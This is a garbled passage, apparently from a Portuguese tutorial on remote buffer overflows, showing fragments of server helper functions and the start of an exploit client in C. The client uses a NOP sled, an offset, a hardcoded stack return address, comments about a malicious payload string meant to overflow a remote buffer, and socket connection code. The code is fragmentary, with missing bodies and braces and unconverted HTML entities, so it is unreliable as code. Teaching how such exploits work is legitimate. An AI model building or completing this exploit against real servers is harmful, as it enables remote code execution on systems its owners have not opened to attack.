* Apenas efetua c&oacute;pia da string para buffer local, que poder&aacute; ser utilizado por outra thread de execu&ccedil;&atilde;o */
void quit_with_error(char * error_message) {
fprintf(stderr, "%s", error_message);
void cleanup(int socket_descriptor, int incoming_socket) {
if (socket_descriptor != -1)  {
close(socket_descriptor);
8.2. Implementação do cliente
#define NOP '\x90'
#define OFFSET 50
/* Descritor do socket utilizado pelo cliente para efetuar conex&atilde;o */
/* Endere&ccedil;o de retorno */
char return_address = {0xBF, 0xFF, 0xF8, 0xD4};
/* Rotina para fechamento da conex&atilde;o com o servidor */
/* Mensagem com c&oacute;digo malicioso */
/* String que ser&aacute; preparada para provocar o estouro no buffer remoto */
/* Registro para armazenar resolu&ccedil;&atilde;o do endere&ccedil;o fornecido */
/* Inteiro para armazenar porta do servidor */
int index, length;
/* Checagem de par&acirc;metros do cliente */
fprintf(stderr,"Sinopse: %s &lt;host&gt; &lt;porta&gt;\n", argv[0]);
/* Checagem do hostname fornecido como par&acirc;metro */
if ((server = gethostbyname(argv[1])) == NULL) {
quit_with_error("Host inv&aacute;lido.\n");
server_address.sin_port = htons(server_port);
server_address.sin_addr = *((struct in_addr *) server -> h_addr);
memset(&(server_address.sin_zero), '\0', 8);
printf("Cliente tentando conex&atilde;o...\n");
/* Estabelecimento de conex&atilde;o com o servidor */
if (connect(socket_descriptor, (struct sockaddr *)&server_address, sizeof(struct sockaddr)) == -1) {